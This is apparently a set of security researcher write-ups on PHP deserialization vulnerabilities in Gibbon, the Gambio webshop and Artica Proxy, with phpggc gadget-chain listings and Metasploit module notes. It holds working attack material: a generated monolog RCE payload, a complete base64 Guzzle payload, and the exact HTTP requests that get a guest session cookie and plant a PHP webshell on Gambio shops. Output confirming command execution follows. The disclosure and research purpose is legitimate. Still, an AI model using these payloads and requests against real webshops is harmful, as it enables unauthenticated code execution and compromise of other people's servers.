The native methods for PHP serialization are serialize() and unserialize(). So If you have source code access, you should start by looking for unserialize() anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.

Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.

If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4.

So let’s have a look at the file import_run.php and check if we can find the unserialize() function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.

And indeed, there is unserialize() function in the file import_run.php and more important it has user-controllable parameters, such as columnOrder and columnText which makes this a potential candidate for insecure deserialization.

    //STEP 3 & 4, DRY & LIVE RUN  -----------------------------------------------------------------------------------
    elseif ($step==3 || $step==4) {
        // Gather our data
        $mode = $_POST['mode'] ?? null;
        $syncField = $_POST['syncField'] ?? null;
        $syncColumn = $_POST['syncColumn'] ?? null;

        $csvData = $_POST['csvData'] ?? null;
        if ($step==4) {
            //  DESERIALIZATION with user-controllable data !!!
            $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null;
            $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null;
        } else {
            $columnOrder = $_POST['columnOrder'] ?? null;
            $columnText = $_POST['columnText'] ?? null;
        }

        $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null;
        $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null;

        $ignoreErrors = $_POST['ignoreErrors'] ?? false;

But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.

A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.

However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods and Gadget Chains.
Let’s quickly explain both concepts.

Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.

Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct(), which is invoked whenever an object of the class is instantiated, similar to Python’s __init__. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize() method looks for and invokes an object’s __wakeup() magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.

Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget.

Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.

However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.

If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)

kali@cerberus:~/phpggc$ phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                                 TYPE                   VECTOR         I
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE (Function call)    __destruct
CakePHP/RCE1                              ? <= 3.9.6                                              RCE (Command)          __destruct
CakePHP/RCE2                              ? <= 4.2.3                                              RCE (Function call)    __destruct
CodeIgniter4/RCE1                         4.0.2                                                   RCE (Function call)    __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+                                    RCE (Function call)    __destruct
CodeIgniter4/RCE3                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE (Function call)    __destruct
CodeIgniter4/RCE5                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                       RCE (Function call)    __destruct
Doctrine/FW1                              ?                                                       File write             __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                          File write             __destruct     *
Doctrine/RCE1                             1.5.1 <= 2.7.2                                          RCE (PHP code)         __destruct     *
Doctrine/RCE2                             1.11.0 <= 2.3.2                                         RCE (Function call)    __destruct     *
Dompdf/FD1                                1.1.1 <= ?                                              File delete            __destruct     *
Dompdf/FD2                                ? < 1.1.1                                               File delete            __destruct     *
Drupal7/FD1                               7.0 < ?                                                 File delete            __destruct     *
Drupal7/RCE1                              7.0.8 < ?                                               RCE (Function call)    __destruct     *
Drupal9/RCE1                              -8.9.6 <= 9.4.9+                                        RCE (Function call)    __destruct     *
Guzzle/FW1                                4.0.0-rc.2 <= 7.5.0+                                    File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                          phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                          RCE (Function call)    __destruct     *
Horde/RCE1                                <= 5.2.22                                               RCE (PHP code)         __destruct     *
Kohana/FR1                                3.*                                                     File read              __toString     *
Laminas/FD1                               <= 2.11.2                                               File delete            __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                      File write             __destruct     *
Laravel/RCE1                              5.4.27                                                  RCE (Function call)    __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                                         RCE (Function call)    __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE5                              5.8.30                                                  RCE (PHP code)         __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                                         RCE (PHP code)         __destruct     *
Laravel/RCE7                              ? <= 8.16.1                                             RCE (Function call)    __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                                         RCE (Function call)    __destruct     *
Laravel/RCE9                              5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE (Function call)    __toString
Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE (Function call)    __destruct     *
Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct     *
Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct
Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Magento/FW1                               ? <= 1.9.4.0                                            File write             __destruct     *
Magento/SQLI1                             ? <= 1.9.4.0                                            SQL injection          __destruct
Magento2/FD1                              *                                                       File delete            __destruct     *
Monolog/FW1                               3.0.0 <= 3.1.0+                                         File write             __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                         RCE (Function call)    __destruct
Monolog/RCE2                              1.4.1 <= 2.7.0+                                         RCE (Function call)    __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                                         RCE (Function call)    __destruct
Monolog/RCE4                              ? <= 2.4.4+                                             RCE (Command)          __destruct     *
Monolog/RCE5                              1.25 <= 2.7.0+                                          RCE (Function call)    __destruct
Monolog/RCE6                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct
Monolog/RCE7                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct     *
Monolog/RCE8                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Monolog/RCE9                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Phalcon/RCE1                              <= 1.2.2                                                RCE                    __wakeup       *
Phing/FD1                                 2.6.0 <= 3.0.0a3                                        File delete            __destruct
PHPCSFixer/FD1                            <= 2.17.3                                               File delete            __destruct
PHPCSFixer/FD2                            <= 2.17.3                                               File delete            __destruct
PHPExcel/FD1                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD2                              <= 1.8.1                                                File delete            __destruct
PHPExcel/FD3                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD4                              <= 1.8.1                                                File delete            __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                         RCE (PHP code)         __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                                                 RCE (Function call)    __toString
Slim/RCE1                                 3.8.1                                                   RCE (Function call)    __toString
Smarty/FD1                                ?                                                       File delete            __destruct
Smarty/SSRF1                              ?                                                       SSRF                   __destruct     *
Spiral/RCE1                               2.7.0 <= 2.8.13                                         RCE (Function call)    __destruct
Spiral/RCE2                               -2.8+                                                   RCE (Function call)    __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                       File delete            __destruct
SwiftMailer/FD2                           5.4.6 <= 5.x-dev                                        File delete            __destruct     *
SwiftMailer/FR1                           6.0.0 <= 6.3.0                                          File read              __toString
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                          File write             __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                          File write             __toString
SwiftMailer/FW3                           5.0.1                                                   File write             __toString
SwiftMailer/FW4                           4.0.0 <= ?                                              File write             __destruct
Symfony/FD1                               v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6    File delete            __destruct
Symfony/FW1                               2.5.2                                                   File write             DebugImport    *
Symfony/FW2                               3.4                                                     File write             __destruct
Symfony/RCE1                              v3.1.0 <= v3.4.34                                       RCE (Command)          __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                                            RCE (PHP code)         __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                                           RCE (PHP code)         __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE (Function call)    __destruct     *
Symfony/RCE5                              5.2.*                                                   RCE (Function call)    __destruct
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13       RCE (Command)          __destruct     *
Symfony/RCE7                              v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE (Function call)    __destruct
Symfony/RCE8                              v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1                      RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                                                File delete            __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                                            File write             __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                                            File write             __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE (Function call)    __destruct     *
ThinkPHP/RCE2                             5.0.24                                                  RCE (Function call)    __destruct     *
ThinkPHP/RCE3                             -6.0.1+                                                 RCE (Function call)    __destruct
ThinkPHP/RCE4                             -6.0.1+                                                 RCE (Function call)    __destruct
Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete            __destruct     *
vBulletin/RCE1                            -5.6.9+                                                 RCE (Function call)    __destruct
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                             RCE (Function call)    __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                                 RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
Yii/RCE1                                  1.1.20                                                  RCE (Function call)    __wakeup       *
Yii/RCE2                                  1.1.20                                                  RCE (Function call)    __destruct
Yii2/RCE1                                 <2.0.38                                                 RCE (Function call)    __destruct     *
Yii2/RCE2                                 <2.0.38                                                 RCE (PHP code)         __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                                            File delete            __destruct
ZendFramework/RCE1                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                      RCE (Function call)    __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                                              RCE (Function call)    __destruct
ZendFramework/RCE4                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                       RCE (Function call)    __destruct

Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www or /var/www/html depending on the webroot setting, you will find a directory vendor. Running the ls command will list the framework/libraries that are installed and supported by the web application.

root@cuckoo:/var/www/vendor# ls
aura          ezyang      league        moneyphp  omnipay    phpoffice  setasign
autoload.php  firebase    maennchen     monolog   paragonie  phpseclib  slim
clue          fzaninotto  markbaker     mpdf      parsecsv   psr        symfony
composer      google      matthewbdaly  myclabs   php-http   ralouphie  tecnickcom
eluceo        guzzlehttp  microsoft     nikic     phpmailer  robthree   twig

And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog and symfony.

Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog a bit deeper and check CHANGELOG.md which version is installed.

root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md
### 1.27.1 (2022-06-09)

  * Fixed MandrillHandler support for SwiftMailer 6 (#1676)
  * Fixed StreamHandler chunk size (backport from #1552)

### 1.27.0 (2022-03-13)

  * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)

Version 1.27.1 is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py as part of phpggc that does this job for us.

kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4
Running on PHP version PHP 8.2.12 (cli) (built: Jan  8 2024 02:15:58) (NTS).
Testing 1 versions for monolog/monolog against 10 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 1.27.1          │   OK    │     KO      │      OK      │      OK      │      KO      │      KO      │      OK      │      OK      │      OK      │      KO      │      KO      │
└─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘
kali@cerberus:~/phpggc$

So we have quite some options that we can test.

To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id which generates the gadget chain monolog/rce1 with the payload. In this case, the serialized data gets deserialized and the id command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f option applies the fast-destruct technique, so that the object is destroyed right after the unserialize() call, as opposed to at the end of the script.

kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id
a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}

Important: there are null bytes in the serialized data, for example *socket is \x00*\x00socket and therefore the size is 9 and not 7.
This applies for all the *items.

I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit.
If you review the module, you will see most of the above theory and discussions back in the exploit code.

Summary

Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:

  1. get access to the application source code;
  2. search for the language specific serialization and deserialization functions in the code. For PHP, these functions are serialize() and unserialize();
  3. check if user-controlled parameters are part of serialize and deserialize process;
  4. check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
  5. last but not least, try and error until the magic happens ;–)

Till next time….

References

CVE-2024-24725
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]

Credits

Credits go to the security researchers below whom discovered this vulnerability

  • SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
2
Ratings
Technical Analysis

As discussed in my previous attackerkb article CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. I did a search with Shodan using http.component:"Gambio" and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.

The main issue sits in the search parameter of the Parcelshopfinder/AddAddressBookEntry function which is de-serialized without checking the data.

The ParcelshopfinderController.inc.php file contains this vulnerable function (line 291).

$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));    
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {        
    $search    = unserialize(base64_decode($this->_getPostData('search')));
    $psfParams = [
            'street'          => $search[0],
            'house'           => $search[1],
            'zip'             => $search[2],
            'city'            => $search[3],
            'country'         => $search[4],
            'firstname'       => $firstname,
            'lastname'        => $lastname,
            'postnumber'      => $postnumber,
            'additional_info' => $additional_info,
            'error'           => 'invalid_postnumber',
    ];
}

The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.

The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"

echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K

and using the following HTTP POST request:

POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
Cookie: your_cookie

checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t

You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array.

However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully.
You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below.
This does not require any pre-authentication to be successful.

POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded

firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process

IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302 and in the admin page of your online webshop the user should show up at the guest section.

If all goes well, a file cuckoo.php gets created in the webroot directory with the PHP code <?php echo system('whoami');?>.

root@cuckoo:~# cd /var/www
root@cuckoo:/var/www# ls -l cuckoo.php
-rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php
root@cuckoo:/var/www# cat cuckoo.php
[{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

When called for instance with curl http://your_webshop_ip/cuckoo.php, it should give you back the user under which the web service is running.

curl http://192.168.201.25/cuckoo.php
[{"Expires":1,"Discard":false,"Value":"www-data
www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.

Mitigation

If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0 or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0.

References

CVE-2024-23759
Herolab usd Advisory usd-2023-0046
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Gambio Webshop Downloads
Metasploit PR 19005: Gambio Webshop unauthenticated RCE

Credits

Credits goes to the security researchers below who discovered this vulnerability.

  • Christian Poeschl and Lukas Schraven from Herolab usd.
3
Ratings
Technical Analysis

One of the common vulnerabilities that is still around and pretty common nowadays is the Deserialization of Untrusted Data (DUD).
DUD is a vulnerability that can occur in software systems that use serialization and deserialization. Serialization is the process of converting an object’s state to a stream of bytes, while deserialization is the process of recreating the object from the stream of bytes.

This is typically used to exchange information between systems. Distributed systems often share objects across separate nodes, so objects must be delivered over the wire. Since objects tend to consist of many parts, it can be time-consuming to write code that handles the delivery of each individual part. Serialization enables us to save and transmit the state of an object in a standardized way. Deserialization then enables us to recreate objects after they have been serialized for transmission over the wire, between applications, through firewalls, and more.

In a system that uses DUD, untrusted data, such as data received from an external source, is deserialized without proper validation. This can allow an attacker to inject malicious data into the system, potentially leading to security vulnerabilities such as remote code execution, unauthorized access to sensitive data, or other malicious actions (see also MITRE CWE-502: Deserialization of Untrusted Data or OWASP CWE-502: Deserialization of Untrusted Data).

And this vulnerability is one of the many that we see nowadays. Korelogic discovered a DUD in Artica Proxy 4.50 and 4.40 in wiz.wizard.progress.php where prior to authentication, a user can send an HTTP request to the /wizard/wiz.wizard.progress.php endpoint. This endpoint processes the build-js query parameter by base64 decoding the provided value without checking the data and then calling the unserialize PHP function with the decoded value as input. More technical details can be found in the Korelogic Advisory KL-001-2024-002.

I have created a Metasploit module that will exploit this vulnerability. I did make some enhancements compared to the POC that Korelogic published. For instance, I am not overwriting the file /usr/share/artica-postfix/wizard/wiz.upload.php but creating a randomized PHP file to trigger the remote code execution which is removed automatically after successful exploitation to cover our tracks.

Module Details

msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info

       Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
     Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-05

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Jaggar Henry of KoreLogic Inc.

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
